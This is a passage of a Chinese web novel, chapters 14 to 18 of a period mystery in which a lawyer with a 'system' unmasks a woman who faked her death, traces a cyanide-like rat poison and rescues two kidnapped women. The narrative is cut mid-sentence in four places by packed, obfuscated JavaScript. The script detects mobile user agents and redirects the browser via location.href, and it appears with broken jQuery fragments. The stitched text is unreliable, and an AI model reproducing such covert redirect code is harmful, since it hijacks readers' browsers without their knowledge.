RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392356|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦躁不安。 她不耐烦地将看完的花笺甩出去,有一枚不甚遗落,惊醒了阿阮。阿阮低头捡起那枚花笺,忽地道:“这花笺上描的并蒂莲十分眼熟,我好像在哪里见过。” “在哪里见过?”崔令仪立刻问。 阿阮道:“好像是在……” 崔令仪看见那张花笺上留的地址是“柳叶巷吴宅”,慢吞吞地将它念了出来。阿阮立刻道:“正是,是吴大娘子。吴大娘子擅长绣并蒂莲,彼时我还在柳叶巷住,跟她学了两个花样。我原本还想着,这个花样子还挺适合绣字的。” “吴大娘子,请我做什么?”崔令仪有点疑惑。 也是半个月前送的,那时女德班刚刚组建,想来还没什么名气。为什么一个吴大娘子,会给她下帖子去赏花。 崔令仪问:“这个吴大娘子,全名叫什么,长什么样?” 阿阮回忆道:“叫什么我实在不知道,长相我如今也记不清了。我只记得她眼下有一枚朱红色的泪痣,我生平所见中人,只有她一个长着……” 崔令仪像风一样飞过她面前。 她高呼:“张叔,套车!”又转头看向阿阮,“跟上我,阿阮,我们去柳叶巷。” 意外之喜,没想到阿阮竟然曾经见到真的沈玉棠。 阿阮不会就是系统给她的金手指吧? 崔令仪心急如焚,以至于这短短的一段路教她觉得分外漫长。一路上马车疾驰,扬起阵阵尘土。等马车到了,崔令仪跳下马车,三步并作两步奔到吴宅门前,砰砰砰急促地拍起门来。 阿阮气喘吁吁地跟在她身后,道:“大小姐,仔细些,别摔了。” 门很快开了,开门的是一个青衣丫鬟,看见崔令仪,她道:“请问您是?” 崔令仪问:“你家娘子可在?你去回禀她,崔令仪来了。” 青衣丫鬟道:“小姐进来等吧,奴婢这就去回禀娘子。” 崔令仪便随她进了门,焦急地等待着。她环顾四周,吴宅看起来并不起眼,但布局雅致,隐隐沁出一股茶香。门廊两侧种满了翠绿的竹子,微风吹过,竹叶沙沙作响,仿佛在低语。 不一会儿,青衣丫鬟走了回来,身后跟着一位身着月白交领短襦的妇人,袖口被岁月磨得泛出毛边,却浆洗得极干净,下着青布裙,腰间系着靛蓝蜡染围裙,腕间带着一枚银镯,看起来像是个普通的劳动妇女。然而容颜却端丽无双,眉如远山,鬓如刀裁,右眼下赫然有一颗鲜红的泪痣。 再看她裸露在外的肌肤,无不细嫩,乌发如墨,不说旁人,便是和刚刚给她开门的丫鬟对比,也亦是非常鲜明。 “崔小姐深夜来访,不知有何贵干?”妇人问道,声音里带着一丝疑惑。 崔令仪看着她,一字一句地道:“沈玉棠,你假死脱身,又隐姓埋名躲在此处,究竟意欲何为?” 那妇人面色大变。 崔令仪从袖中掏出谢珩给她的令牌:“大理寺在此,还不从实招来。” 15. 第 15 章 崔令仪认出沈玉棠,不仅是因为她面颊上的泪痣,那太不科学了。 而是系统弹出了她熟悉的金色大箭头。 沈玉棠脑袋上盯着的金色名片在深夜里是多么闪亮,宇宙爆炸也没有比它更明亮,崔令仪差点为此流下眼泪。 总算是找到了。 要知道,崔令仪唯一能够肯定沈玉棠还活着的原因就是因为她还有系统任务。系统再狗,也不至于让一个死人来当她的任务目标,这样没有意义。 所以死的应当不是沈玉棠。 而沈玉棠曾经给崔令仪递过信,她想见崔令仪,只是不知道为什么要见她。所以她见到崔令仪,是不该意外的。 沈玉棠当年究竟是被投毒,还是假死。如果是被投毒,是谁下毒害她?如果是假死,她又为何要假死? 这些问题如今都有人给她解答了。 沈玉棠镇定下来,请崔令仪进屋详谈。 室内布置简洁,墙上挂着一幅淡雅的山水画,窗边摆放着一盆兰花。 “崔小姐,你为何会认定我就是沈玉棠?” 崔令仪自然不能将系统的事情告诉她,只道:“我自有我的办法。倒是你,沈玉棠,你给我下帖,邀我来到此处,你又为的是什么?” “崔小姐的义绝七问,名满上京,我自然也是慕名而来。”沈玉棠道。 “前几日赵王妃案又是崔小姐倾力为王妃洗脱冤屈,还她清白。也因此,我相信只有崔小姐能帮我了。” 沈玉棠盈盈一拜,灯火之下,她那颗泪痣如同面颊上的一滴血。 “我是江南茶商沈昌峰之女沈玉棠。” “从小到大,我一直被父母兄弟爱重,尤其是父亲的掌上明珠。直到我十八岁出嫁后,我才得知,我竟然还有一个孪生妹妹。” “我的孪生妹妹名叫沈玉蓉,我们相貌相仿,唯一区别只有脸上一颗泪痣不同。出嫁那日,我第一次见到沈玉蓉,连我乍一看,也只以为是自己在照镜子。我那样欢喜见到她,却没想到,她来其实,另有目的。” “她将我迷晕,而后换上了我的嫁衣。” “我再醒来时,已经身在郑王府了。” “我也是后来才知道,当年我的母亲生了我们姊妹两个,但是老家有规矩,双女生之不吉。父母将我留下,又舍不得杀死妹妹,于是将她送去乡下庄子中抚养。父母本以为日子就会这样过下去,为我选了如意郎君新科进士周明远,大好前程在我眼前铺陈。可是我们谁都没想到,郑王巡幸江南,他看上了我。” “都怪这颗该死的泪痣。” 沈玉棠咒骂道。 “郑王看中我后,登门索要。父亲舍不得我,于是将玉蓉送到郑王府上做妾。郑王那年已经五十余岁,玉蓉本不愿,却也无可奈何。谁知郑王见到她,没看见她脸上的泪痣,便明白我父亲糊弄于他。郑王震怒,却并未惊动他人。” “他选择在新婚当日,让玉蓉替我出嫁。” “我醒以后不堪受辱,多次寻死。可是都被郑王拦下,最终成为他府中的禁脔。” “我在郑王府中整整五年,直到两年前,郑王去世,我趁乱逃了出来,幸而被吴大收留,嫁到了他家。” “只是去年吴大也死了,我就只剩下这宅子了。可怜我半生富贵,半生飘零,至今也是孑然一身。” 崔令仪问:“那你找我来干什么?” 沈玉棠道:“我要你代我将我父亲和沈玉蓉告上官府,告他们妄冒为婚、害我至此。当年他们欺瞒郑王,将沈玉蓉送入王府,又害得我在郑王府中受尽屈辱。如今他们竟还堂而皇之地占着沈家的财产,享着荣华富贵,我怎能咽得下这口气?” 根据《周律》,女家替嫁,判为徒一年,男家替婚,更是罪加一等。替嫁本质是身份欺诈,无论主动替嫁或被迫代嫁,均需承担刑事责任。 但是,崔令仪道:“两年前,郑王已经死了。两年前京城中还有一件大事,难道你不知道?” 沈玉棠果然问:“什么事?” “新科进士周明远的妻子,沈玉棠,过身了。” 沈玉棠闻言,脸色瞬间变得惨白。 “你说什么?”她不可置信地盯着崔令仪,仿佛听到了世间最荒谬的笑话,“她死了?她怎么可能死了?” 崔令仪道:“我诳你做什么?如果你妹妹确实是周明远的夫人,那她确实是死了。是被氢氰酸——也许是砒霜,也许是鹤顶红,她死了太久已经无法考证了,但她确实是被人毒死的。” “谁会毒死她?” 沈玉棠怔在原处,其怅然哀伤,不似作伪。 崔令仪道:“我现在还不得而知。” 崔令仪现在陷入了新的僵局。 她找到了沈玉棠,但是沈玉棠不是周明远的妻子,她跟周明远毫无关系,而真正跟她有关系的人,比如郑王,比如吴大,他们都已死了。 沈玉棠如今,已经不需要和离了。 那系统为什么会颁布这样的任务呢?系统一定不会说谎,那么说谎的一定是人。 崔令仪微微阖上眼,回忆起她那日见假沈玉棠时的场景,似有所感。 沈玉棠说,沈玉蓉和她长得几乎一模一样,但是实际上她们的容貌好像并没有那样相似,至少现在在崔令仪的回想中,除了泪痣,仍有一些微小的差别。 另外在周明远的描述中,他的妻子沈玉棠脸上是有泪痣的。 一个没有泪痣的人是不可能无时无刻都装作自己有泪痣的,夫妻两个一起生活,他们感情又要好,难道没有一起沐浴、一起擦脸、一同入睡的时候?现在这个时代又没有防水的口脂,也并非是纹身,因为她那日见到的假沈玉棠脸上明明什么都没有。 做戏要做全套,假如那日见她的真是假沈玉棠,那她常年点痣,为何偏偏那日不点了? 为什么呢? 又过去一日了。 崔令仪睡不着觉,若是她最终没有完成任务,过不了几天她就能永远地睡着了。夜色深深,她又回去了沈宅。 沈宅已经人去楼空。 那日的管家、仆人、嬷嬷,甚至夫人,仿佛是凭空出现,又凭空消失的。沈府庭院深深,在惨白月色下显得愈发冷寂凄清,风吹动树桠,仿佛是鬼影在墙壁之上游动。 假沈玉棠的住所空无一人,只剩那日的茶盏还遗留在桌上。崔令仪手持一盏油灯,走到桌前,拿起那茶盏,轻轻嗅闻,闻见的仍是她所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392357|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾问到过的苦杏仁味。 崔令仪收起茶盏,正要退出房间,却听见门口传来一阵窸窸窣窣的响声。 有人来了。 崔令仪连忙吹灭油灯,躲在屏风之后。她屏住呼吸,只听见那人声越来越近,似乎有人正沿着走廊向她所在的方向走来。 脚步声在房门口停下,接着是一阵轻微的交谈声。崔令仪竖起耳朵,努力想听清他们在说什么,但无奈声音太小,只能隐约听见几个模糊的词汇。 突然,门吱呀一声被打开了,一束月光透了进来。崔令仪紧张地攥紧了拳头,生怕被发现。然而,进来的人似乎并没有注意到屏风后有人,只是在屋内四处查看了一番。 难道是假沈玉棠回来了?如果就这么见到她,捉住她和真沈玉棠以及周明远对峙,那么一切谎言就可不攻自破。这是她仅剩不多的机会了。 崔令仪站在屏风后,深吸了几口气,强迫自己冷静下来。随后,等那人影接近,崔令仪猛地推开了屏风。 那人在油灯的照映下无所遁形,但却也不是她想见到的人。 是谢珩。 谢珩身着玄色衣衫,五指拢起,微微遮住油灯所发射出刺眼的光线,看见崔令仪,他似乎也并不意外。 “你怎会在这里?”崔令仪问。 谢珩反问道:“那你呢?这么晚了,崔小姐为何会在此处?” “我是为了查案的。”崔令仪道。 “那本官便也是。”谢珩道。 崔令仪蹙眉看他半晌,随后道:“那大人可查到什么线索么?” “本官尚且没有什么线索,但想必崔小姐今夜一定收获颇多。”谢珩道,“不知崔小姐有没有什么线索能与本官共享?” 崔令仪冷哼一声:“大人好精明,自己查获的线索,不置一词,却拼命想在我这里骗取线索,难道仅凭大人一个,就能破得了这案子,那敢情好,我仅需要坐享其成了。” 谢珩却道:“我是来找你的。” “这地方空置太久,不安全,夜这么深,你一个人来此,我不能放心。” 崔令仪不想他会这么回答,竟还怔了怔。 谢珩又问:“我这段时间一直想问你,你身为讼师,实际也并没有人给你结一分官司钱。你一不图名,二不为利,三也不求真相,那你何至为此不眠不休呢?” 总不能告诉你和我的性命有关吧? 想了半晌,崔令仪回答他:“这和我要做的事情有关。” “我要做一件很大很大的事情。而且如果这个案子破了,我可能就能做到了。” “到时候,大人,连你也会觉得惊讶。为什么一夜之间,世界变了?为什么一夜之间,世界竟然变成这样了?” “想必那时候,大人你也会觉得惊喜。” 谢珩嘴唇动了动,半晌却没问得出声,只是笑了笑。 见他如此,崔令仪一拍大腿,突然想到:“大人不说我差点忘了,请大人迅速提审家住广阳门外的一位协律郎,并搜查他家,或许会有线索。” “是什么样的线索?”谢珩问。 崔令仪道:“是假沈玉棠的线索,或许,还能找到沈玉棠那时究竟是如何假死的。” 16. 第 16 章 天蒙蒙亮的时候衙役才把那位协律郎带回来。他自称姓叶,家中行二,便称他一声叶二郎。 彼时崔令仪和谢珩正一同坐在大理寺的刑堂之前,崔令仪向他仔仔细细讲了今夜的发现,另请谢珩加派人手前去柳叶巷,确保沈玉棠不会逃走。虽然她已经令阿阮和车夫在那里守着,但阿阮毕竟是个弱女子,还是不能放心。后来久等不至,便无意中倚在门槛上都睡着了。 崔令仪被他们吵醒时身上还披着谢珩的大氅,上头略微染着些他身上的气味,并不难闻,且混着一股皂角的香,令人颇难忽视。她觉得他这举动委实有些暧昧了,却因为身在温暖的氅衣之内舒服地打了个寒噤。 春末夏初,早晚还是有点凉。 叶二郎被带进刑堂,神色慌张,不停地用衣袖擦拭额头的汗水。他目光闪烁,不敢直视堂中的谢珩。 谢珩喝道:“叶二郎,你可知道本官为何传你前来?” 叶二郎浑身一颤,结结巴巴地道:“不,不知大人所为何事?” 崔令仪站起身,走到叶二郎面前,从袖中掏出一幅画卷,缓缓展开。画卷上,正绘着沈玉棠的肖像,那泪痣栩栩如生,仿佛能滴出血来。 这是昨日她托付周明远绘制的,他竟然马不停蹄拿了过来,还跟她说家里还有很多,随便要,怎么都行。 “叶二郎,你可认识此人?”崔令仪问道。 叶二郎瞥了一眼画卷,脸色瞬间变得煞白,他连连摇头:“不,不认识。” 崔令仪冷笑一声:“不认识?看来不打你是不会招了。大人,我们刑堂里有老虎凳、辣椒水、小皮鞭,不如让他全试试看。” 叶二郎闻言登时跪下哭号。 “叶二郎,你最好从实招来,否则大理寺七十二种刑法加身以后,你再说招供,那可就晚了。”谢珩道。 叶二郎经不起这么严肃的心理斗争,他跪在地上,涕泪横流:“大人饶命,我说,我都说。” 叶二郎曾是郑王府的先生,专教郑王世子琴棋书画的,曾与沈玉棠有过一面之缘。郑王过世后,叶二郎对她一直念念不忘。 “那日,我在柳叶巷外见到沈玉棠,她自言郑王去世后再无处可去,管家吴大要强娶她,她不愿意,而我尚有官身,虽没有什么大能耐,却为她提供片瓦遮身。”叶二郎哭诉道。 崔令仪追问:“所以沈玉棠现在人就在你家咯?” 叶二郎摇头:“我,我真的不知道。她偶尔才会来我家,有的时候会遮着脸。我也不敢多问,只是隐隐觉得,好像来我家的,至少有三个人。” “三个人?”崔令仪和谢珩异口同声问。 “对。”叶二郎道,“有时候来的那个,一看就是娇养长大的,头发皮肤都非常细嫩,性格也温柔,说话的时候细声细气的。” “有时候来的那个,发丝枯黄,身形也瘦弱。她有时候在后边盯着我,总教我觉得阴恻恻的。” 崔令仪问:“那你在郑王府遇见的是哪一个?” 叶二郎沉吟许久,却道“都不像。” “是,那个沈娘子容貌十分娇媚,举手投足间媚态浑然天成,眼下一颗泪痣,如同一滴血泪。那可真是绝色,世间少有人可堪比。” 崔令仪又问:“那你那日在柳叶巷见到的是哪一个?” 叶二郎道:“正是原本那个啊,媚骨天成无人可以效仿。所以她那两个姊妹一来,我马上就发现了。” 崔令仪问:“除了神态气质,身形体态,这三人相貌竟生的一模一样?” 叶二郎道:“那我不知道,她们有的时候来是遮着脸的,我时常看不见。” 崔令仪闻言,与谢珩对视一眼。若真如叶二郎所说,那沈玉棠、沈玉蓉以及那个偶尔出现的第三人,她们之间究竟有何关联?为何会长得如此相像? 崔令仪道:“大人,我想亲自去一趟叶二郎的家。” 谢珩应下:“我与你一同前往。” 叶二郎的家位于京城的一隅,是个不大不小的宅子,看起来颇为简陋。如今他家中空无一人,只有几件破旧的家具散落在地。 看起来沈玉棠很久没来了。 沈玉棠,沈玉蓉。 崔令仪轻轻念出这两个名字,忽地笑了笑。 “怎么?”谢珩问道。 “如果她们再有一个姊妹,大概叫做沈玉芙吧?” 崔令仪笑着揉了揉自己的额角,连日休息不好让她有点不适,她觉得自己大概是有点魔怔了,不然为何会觉得沈玉棠、沈玉蓉,再加上这个她自己瞎推出来的沈玉芙,再加上郑王、周明远、吴大、叶二郎……明明就有一张看不见的大网,将她们牢牢地束缚其中。 她总觉得,自己似乎遗漏了什么重要的线索,但一时之间却又想不起来。 谢珩见她神色不对,问道:“怎么了?可是有什么发现?” 就在这时,自她脚边传来一阵细微的响动。崔令仪和谢珩同时循声望去,只见一只老鼠从破旧的家具下窜了出来,吓得崔令仪猛地往后退了一步。 谢珩笑道:“不过是只老鼠,崔小姐也太过胆小了些。” 崔令仪嘴硬,跟他杠了两句:“谁说我怕老鼠了?我只是没留意罢了。”忽地脑中有一阵灵光闪过,等等。 崔令仪立刻冲到叶二郎身侧,揪着他领子问:“你家没有老鼠药?” 叶二郎哆哆嗦嗦地说:“有。” “现在,立刻,拿给我看。”崔令仪命令道。 叶二郎不敢违逆,自灶台边掏出一个小小的油纸包。崔令仪凑过去轻轻嗅闻,果然是一股熟悉的苦杏仁味道。 “这老鼠药是谁给你的?”崔令仪问。 “我们这儿都是用这个药老鼠的啊。”叶二郎道,“这药不稀罕,混着白面蒸成面团,老鼠爱吃,便宜,效果还好。” “人吃了呢?”崔令仪又问。 叶二郎道:“那仿佛不大够,这点药渣可能是毒不死人。但是邻居家确实听说过有孩子误食了的,很痛苦,上吐下泻的,难受的不得了,后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396477|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一阵好像都快要断气了,不知怎么地,睡了一大觉,自己就好了。” 那就是这个了。 两年前发生了很多事情,郑王身死,郑王府树倒猢狲散,吴大强娶沈玉棠,而后叶二郎在柳叶巷外见到了真正的沈玉棠,沈玉棠也从叶二郎这里得到了氢氰酸。 而后周明远夫人去世,周明远为守妻孝,在紫金山上陪伴她一整年。 到底谁是周明远的妻子,周明远总不至于认不出。崔令仪仰头看向谢珩:“大人,我们带叶二郎到周明远家里去。” 谢珩道:“我也正有此意。” 周明远住在距离柳叶巷不过两里多地的文姬坊,巷口紫藤萝开得正好,微风拂过,带来阵阵清香。 周明远此时正在书房中看书,听到下人的通报,连忙迎了出来。 “两位大人光临寒舍,是有什么线索了吗?”周明远拱手问,“我已经派人去江南联系岳丈,可是今晨传信来,说岳丈现在根本不在江南家中,两年我妻子病故后,他身受中大打击,精神受损,谁也不知道他现在在哪里。” 崔令仪揪过叶二郎的领子,再将他送到周明远的面前,问道:“周大人,你可见过此人?” 周明远瞥了一眼叶二郎,摇了摇头:“不曾见过。” 崔令仪早有预料,从袖中掏出那幅沈玉棠的肖像:“这画上的女子确实是你的夫人沈玉棠?” 周明远目光触及画卷,猛地一颤,双手接过画卷,仔细端详起来。半晌,他才放下画卷,眼眶微红:“这是拙荆。” 崔令仪问:“你确定?” 周明远点头:“我确定。我与她朝夕相处数年,她的容貌,我怎会认错?” 崔令仪转头看向叶二郎,见叶二郎目瞪口呆,她冷笑一声:“愣着干什么,告诉周大人,这画上的女子是谁?” 叶二郎沉默许久,最终仍是道:“她是……郑王的爱妾,沈氏。” 周明远闻言,脸色大变:“你说什么?” “我真没说谎!”叶二郎道,“我在郑王府中多年,其实跟她见过不止一面。有一次我犯错受罚,世子罚我跪在庭院之中不得饮水进食,还是她偷偷塞给我半个馒头。我怎会认错她?决没有错。” 周明远身子一晃,几乎要跌倒在地。谢珩忙扶住他:“周兄,你还好吧?” 周明远脸色苍白,双手紧紧抓着崔令仪的手臂,颤声道:“这……这究竟是怎么回事?玉棠她……她怎么会是郑王的爱妾?” 崔令仪将近日所查之事一五一十讲给周明远听,周明远听得目瞪口呆,半晌回不过神来。 崔令仪道:“如今看来,沈玉棠之死,定有蹊跷。而你的妻子,究竟是沈玉棠还是沈玉蓉,甚至是别人,可能就需要你亲自来辨认了。” 周明远闻言,强打起精神,道:“两位大人,我愿全力配合你们追查此事。只要能找回玉棠,我什么都愿意做。” “现在还不及。”崔令仪道,“我要查看你妻子的旧物,你可还都保留着?” 17. 第 17 章 周明远道:“那是自然,一切如旧。” 沈玉棠的房间在整个周宅的东南厢,房间布置得极为雅致,墙上挂着一幅山水画卷,案头摆放着几本古籍,榻下甚至还放了一双绣鞋,仿佛主人从未离开似的。 看得出周明远平日也是经常前来打理。崔令仪随便走了几步,翻了翻沈玉棠读过的书,没瞧见什么线索,顺势瞧见软榻下闲散扔着几样东西,分别是佩囊、团扇、还有一个尚未绣完的绣绷。 崔令仪将那绣绷捡起来,上头是个尚未绣完的并蒂莲。 沈玉棠骗她。 崔令仪立即想到。 沈玉棠未服下毒药以前,还在做女红,这一双并蒂莲才绣到一半,那是因为她夫妻恩爱,感情平顺,当时还没想过要假死。 是突然发生了什么,让她不得不假死,不得不告别自己的亲人,并且即使居所只有两里地也不敢出现。 她听闻了阿阮的遭遇,知道了崔令仪的名字,因此心生了一点点的希望,于是给崔令仪写下帖子,约她前去赏花。 但是却没想到崔令仪没看那张帖子,也不打算来。紧接着白芷柔的案子传遍上京城,沈玉棠又想到了以和离案的名义请她来。 但是却意外被人截胡了。 应当是的,她被人截胡了。 那人有着当年的新茶,有着叶二郎家的毒药,有着周明远家里的嬷嬷。脸上没有泪痣。 那人也想见崔令仪,也在阿阮案后给她拜帖,邀请她前去叶二郎府上。后来那人截胡了,那人向崔令仪哭诉周明远待她不好,想要与周明远和离,还在茶中给崔令仪下毒,也许是想毒死她,也许是想就此败坏周明远的名声。 是谁有这么大的能量? 每个人都在描述中杜撰出一个与沈玉棠长得一模一样的女人,说那是她的孪生姐妹,她出现在柳叶巷,出现在郑王府,出现在紫金山。但是在崔令仪的记忆里,她见到的那个女人,跟昨夜的沈玉棠,虽然相貌相似,但有一些微小的差别,并非是长得一模一样。 叶二郎也可以为她作证,叶二郎甚至觉得那是三个人。 倘若真的是一模一样,叶二郎就不可能认为那是三个人了。 这个时代,沈夫人生下双胞胎已经是死里逃生,而如果假设她生的是三胞胎,那也太夸张了。更何况,这三个人性格迥异,行事作风大相径庭,明明是三个完全不同的个体。 为什么呢? 崔令仪拽着谢珩奔向门外,朝门外的衙役道:“我先行去柳叶巷,你们带着周大人和叶二郎立即赶上。” 衙役道:“是。” 两里地不过一千米,崔令仪摩拳擦掌想要跑过去,却是谢珩松开了她的手。 崔令仪蹙眉,回身望他,却见他已解下一匹马。 “人腿哪有马腿快。” 他向她伸出手,身后浩荡天光,藤萝为他面颊染上一点温柔的色泽,他叫出她的名字:“崔令仪,上来。” 他掌心宽大,生着一层薄薄的茧。骨节分明,指甲修剪得很干净,如同梅骨一般颀长纤瘦。她愣了一瞬,随即反应过来,毫不犹豫地把手搭了上去。 谢珩只一用力便将她拉上了马背。“抓紧了。”他扬声道。 风在耳边呼啸而过,崔令仪的心跳也随之加速。这是她第一次骑马,骑马并不是很舒适,速度又这样快,马背颠簸且摇晃,她根本坐不住,没法子,只得紧紧搂住前边谢珩的腰。 谢珩发觉她怕,但不敢耽搁。骏马如疾风,他的话落在她耳边,只剩下轻微地一声:“别怕。” 崔令仪不语。 马儿一路狂奔,很快就到了柳叶巷。崔令仪翻身下马,腿有些发软,谢珩伸手扶了她一把,她借力站稳,立刻朝着沈玉棠曾经出现过的那户人家奔去。 门是虚掩着的,崔令仪轻轻一推便开了。屋内陈设一如当夜,但收拾得干净整洁。她四处查看了一番,却一个人都没有看到。 “阿阮?”崔令仪放声喊道。 但回应她的只有空荡荡的回声。崔令仪皱眉,心中升起一股不祥的预感。 “我明明留下阿阮在这里。”崔令仪再次确认道,“我让她就是在这里等我的,我没有来,她一定不会走的。” “但现在她不在。”谢珩分析道,“也许她遇到了什么麻烦,或者被人带走了。” 崔令仪闻言,心中更加焦急。她不愿相信阿阮会遇到危险,但眼前的情形却不得不让她往坏处想。阿阮社会关系简单,现今能来找她的,除了她的前夫,就只剩下崔令仪一个。这样说,对方应当是为了沈玉棠而来。 或许。 或许对方原本约见她就是为了找到沈玉棠。 崔令仪被自己这个想法震在原地。 有可能的,对方要见她有可能只是因为发现了沈玉棠想尽办法想要见到她,而后在沈府静候,本想以苏嬷嬷为饵钓上沈玉棠,但沈玉棠却没来,来的是她。 那人带了新茶,应该也是给沈玉棠的。 但那人也带了毒药。 沈玉棠吃过了一次了,同一种毒药她会傻到吃第二次么,那她为什么要带毒药。 而后,那人向崔令仪哭诉了周明远与她感情不和,想要和离。崔令仪答应帮助她后,她也许就算到崔令仪会去找周明远,周明远也会将实情告知,那么崔令仪,就会去到处寻找真正的沈玉棠。 而她真的找到了。 甚至有可能是她亲自为人带路,在她只身离开后,那人出现,带走了阿阮和沈玉棠。 就在这时,门外传来一阵急促的脚步声。崔令仪和谢珩同时循声望去,只见一名衙役匆匆跑了进来。 “大人,我们在巷口发现了这个。”衙役说着,递上来一张丝帕。 崔令仪夺过丝帕,瞧见上头刺绣的“贞静女德研修班”,,忽地想到什么。 “我们去女德班。”她拉住谢珩,“他们可能去了那里。” 对方知道女德班是很自然的事情,因为对方给她下帖子,她不肯去,又想见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403790|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,自然会去调查崔令仪日常去的地方。 女德班位于城南米市巷,是个人声鼎沸的繁华之所。即便崔令仪和谢珩一路疾驰,进了街市也只得下马步行,只因为人太多了。 事到如今,崔令仪也不太着急了。对方带走阿阮和沈玉棠一定是昨夜的事情,时间早已耽误的够多了,也不在这十五分钟半个小时。 路上甚至还有她往日的学员跟她搭话:“崔小姐,怎么这两日都没过来?那个扔下老婆孩子逃命,后来老婆做了太后,孩子做了皇帝的故事,后来怎么样了,我还等着听呢。” 崔令仪道:“最近太忙了,在调查一个案子。” “那等案子查完了,可要把还没讲完的故事给我们补上。” “是啊,新来的钱家娘子还没听过崔小姐的故事呢,我给她讲了,她却嫌我是粗人,讲的不如崔小姐动听。” 崔令仪道:“我知道了,等再过两日,查完这个案子,一定给各位补上。” 回身谢珩牵着马,正好整以暇地看着她。 “怎么了?”崔令仪问。 谢珩问:“你就给他们讲这种故事?” “《汉高祖本纪》,怎么了,不行?”崔令仪道,“刘邦醉斩白蛇我也讲了啊。” “汉高祖在你嘴里一定不是个正面人物。”谢珩笑道。 崔令仪道:“我只是实话实说,我从来没有蓄意歪曲事实过。” “你要知道,万一你的这些故事,教礼部的那些人知道了,他们会参你什么?乱阴阳序,惑天下心。”谢珩道,“你小心哪天被抓起来。” 崔令仪道:“那时候我爹和谢大人一定都会捞我的。” 谢珩道:“你知道那是多大的罪责?还我捞你,我怎么捞?你也读了《周律》,你自己知道,你的这些妖书妖言,情涉不顺,最轻也得打六十大板。” 崔令仪道:“防民之口,甚于防川。难道杀死我,就能堵住天下悠悠众口?那只会让我变得更加有名的。” 两人边说边往前走,很快就到了女德班的门口。崔令仪抬头望去,只见大门紧闭,周围静悄悄的,没有半点声响。崔令仪推开大门,只见院内空无一人。 “阿阮!沈玉棠!”崔令仪喊道,但回应她的只有自己的回声。 “难道我猜错了,他们没来这里?”崔令仪问。 谢珩也皱起了眉头,他环顾四周,忽地,目光落在了一扇半开的窗户上。 他向崔令仪摆摆手,崔令仪从善如流,叽里咕噜地继续乱说。随即谢珩矮身翻进窗内,紧接着,从室内传来一阵劈里啪啦的打斗声。 有收获! 崔令仪心中一喜。她闯入门中,不但看见谢珩正和一个黑衣人颤抖,也看见沈玉棠和阿阮二人正被倒吊在横梁之上,仅连着一根细细的绳子。一旦绳子断裂,二人登时会坠落下来,大头向下,非死既残。 “小心!”崔令仪高声呼喊,但为时已晚,那黑衣人已经趁乱割断了绳索,阿阮和沈玉棠性命危矣! 18. 第 18 章 危急关头,崔令仪伏身躺倒,将整个身体垫在二人头颅之下,以躯干承受二人坠落的冲击。好在那人将她两个放的较低,冲击较小,虽然给崔令仪疼的眼前一黑,几乎晕死过去,但是好在阿阮和沈玉棠性命无虞。 阿阮手脚还束着,忙从她身上滚落,望着昏迷的崔令仪,哭道:“大小姐,你还好吧?” 谢珩甫一见这边的乱象,招式已然更加猛烈,不留余地,三刀招呼之下那黑衣人已经血肉模糊。随后他扯下腰带,将黑衣人紧紧绑住,过来查看崔令仪的情况,见她只是昏迷,尚未断气,这才松了一口气。 “阿阮,你去摸摸她身上有没有骨头断掉的。”谢珩挑开阿阮身上束缚的绳子,勒令道。他又看向沈玉棠,见她眼下泪痣如血,因此问:“周夫人?” 沈玉棠良久,轻轻点了点头。 两人身份已经确定,那就算没有救错人。谢珩松了一口气,转身面向那黑衣人,径直踢他在地,一脚踩在他脸上。 “你是何人?” 谢珩问。 那黑衣人不肯作答,谢珩便点了他身上几处穴道,那人剧痛之下冷汗湿衣,许久他道:“我是……我是郑王殿下的暗卫,正在调查老郑王的死因。” “老郑王的死因?”谢珩问。 谢珩从不知道老郑王之死有异。两年前老郑王过身时,他还未任大理寺少卿,尚且在刑部做员外郎,每日处理司务,参与案件初审,忙的连家都回不去,哪有时间去管这些闲事,就连老郑王之死也是容后才知道的,只是偶尔听了一句,说是惊风而死。 难道老郑王之死有异?他将目光渐渐转到沈玉棠身上,只见她面色灰白,嘴唇微微颤抖,仿佛陷入自己的回忆之中。 谢珩了然。 但现在还不知问讯沈玉棠的时候。他又踢了那黑衣人一脚,问:“既要调查老郑王的死因,为何你会带周夫人和阿阮来到这里?” 那黑衣人颤声道:“我、我只是奉命行事。” 